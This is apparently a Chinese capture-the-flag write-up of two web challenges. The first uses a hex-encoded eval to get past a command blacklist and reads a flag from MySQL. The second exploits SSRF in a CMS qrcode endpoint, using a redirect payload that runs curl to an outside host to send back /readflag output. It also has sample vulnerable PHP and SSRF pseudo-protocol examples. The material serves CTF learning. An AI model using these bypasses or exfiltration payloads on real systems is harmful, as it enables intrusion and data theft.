Simple_PHP
题目源码
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
//当时参赛的时候day1第一个就做的这个,卡的死死的,真没想到在mysql里面 🙁
分析
- 正则关键字过滤
头一次见到那么全的过滤,常用的几乎全没了,当时想到的编码绕过,或者拼接绕过
- escapeshellcmd()函数
没见过不认识,然后查了是转义,拼接会被ban掉
开始操作
当时参赛的时候我知道的指令全没了,就搜了搜 linux 还有什么可以用的,最后用了 dd if=/etc/passwd 看到了etc/passwd

看社团师傅讲的视频还学到了 rev 和 paste 也可以,还有 stat 可以读文件夹的信息
//到这我就没有然后了,不会整了
然后现在我知道目标在 mysql 里面了,只要想办法读到就好了 🙂
编码绕过
主要用到了 php -r (php关键字没被过滤)去执行命令
那么 payload 的格式就是 ↓
php -r eval(hex2bin(substr(_xxxx,1))); //下划线占位,首位为数字会被解释为一个数而不是字符串
这里先是用 system(‘ls’); 测试一下

//hackbar这个快捷编码真好用,不用专门打开别的工具
成功回显,看到当前index.php,说明成功绕过,命令被执行
该查数据库了
//之前没在命令行环境查过数据库,第一次知道 -e 可以执行sql语句
echo `mysql -u root -p’root’ -e ‘show databases;’`;

出来了所有的库名 //这里我在转码的时候,-p 和 ‘root’之间多了个空格,结果一直执行报错不知道为什么
然后最可疑的自然是 PHP_CMS 这个库
echo `mysql -u root -p’root’ -e ‘use PHP_CMS;show tables;’`; //堆叠注入一样,; 分别多条语句

查询到 F1ag_Se3Re7 这张表,flag就在这没跑了
echo `mysql -u root -p’root’ -e ‘use PHP_CMS;select * from F1ag_Se3Re7;’`;

我滴任务完成辣!!
ctfshow{128ab969-8329-487e-a0be-ea06922cf57e}
小结
flag 可能被放在任何地方,对于已经掌握的信息要充分利用,没有目标就多试试
linux 的指令还得多熟悉,记不下全部,也至少应该总结笔记,需要的时候可以查到
eval(hex2bin(substr()))编码绕过关键字过滤
easycms
//现在再想那个题目要求本地127.0.0.1访问就已经在暗示是ssrf了,当时参赛的时候看提示要自己去找源码,已经想到是去信息搜集找现成的漏洞去利用,但是搜集能力有限(也确实没有这方面经验),愣是一点有用信息没找到
参考文章&知识补充
对 ssrf 的了解还不太深,先补充一波知识点
SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客 https://blog.csdn.net/qq_43378996/article/details/124050308
SSRF基本信息
SSRF (Server-Side Request Forgery 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个漏洞
- 一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(这道题就是)
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统其他设备,进行横向移动)
- ssrf 是通用漏洞,并非某一语言独有的
- SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
SSRF 示例
//还是 php 比较熟,正好看的文章也是用 php 举例
file_get_contents()函数
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']); //按传参的url去读取文件
$filename ='./images/'.rand().';img1.jpg'; //随机文件名保存
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
fsockopen()函数
以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
SSRF 中的 URL 伪协议
发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议 //不过这道题不用
file:// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
开始操作
理想的解题流程是 看到提示 → 信息搜集 → 迅睿官网看到qrcode有ssrf → 对应进行代码审计 → 利用漏洞弹shell或直接读flag发过来
这里看了视频里面看的先知社区那个文章
[某cms 前台RCE漏洞分析 – 先知社区 (aliyun.com)] (https://xz.aliyun.com/t/10002?time__1311=mq%2BxBD97qYqCqAKDsD7me5xhDnDI2uYLiD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3D%E6%9F%90cms%2B%E5%89%8D%E5%8F%B0rce)

这里通过这篇文章(作者师傅现成的审计结果)了解到通过s=api&c=api&m= 可以调用任意控制器,这里将m值设置为qrcode便可以调用我们需要的东西
源码这部分如下 ↓ (整个cms审不动,一小块还是审的动的)
public function qrcode() { //qrcode函数
$value = urldecode(\Phpcmf\Service::L('input')->get('text')); //接一个text,url解码给value
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb')); //接一个thumb,url解码给thumb
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png'; //文件保存路径
if (is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) { //如果thumb为真(有内容
$logo = imagecreatefromstring(dr_catcher_data($thumb)); //远程获取thumb的文件,试图转成图片
$QR_width = imagesx($QR);//二维码图片宽度
$QR_height = imagesy($QR);//二维码图片高度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, $from_width, $from_width, 0, 0, $logo_qr_width, $logo_qr_height, $logo_width, $logo_height);
imagepng($QR, $file);
}
}
这里将 thumb 定向出去,读取到我们自己可控的恶意文件,再让服务端解析执行便可达成 ssrf
//下面操作在云服务器上完成(有公网ip)
<?php
header("location:http://127.0.0.1/flag.php?cmd=curl 114.514.919.810:8080/`/readflag`");
?>
本地保存如上文件,假设命名为rice.php
启动hackbar,传参?s=api&c=api&m=qrcode&text=114&thumb=http://114.514.919.810:8080/rice.php
本地php起个web服务,监听8080 //之前我只会 -lvvp 监听 也是学到了
然后静待flag来就好
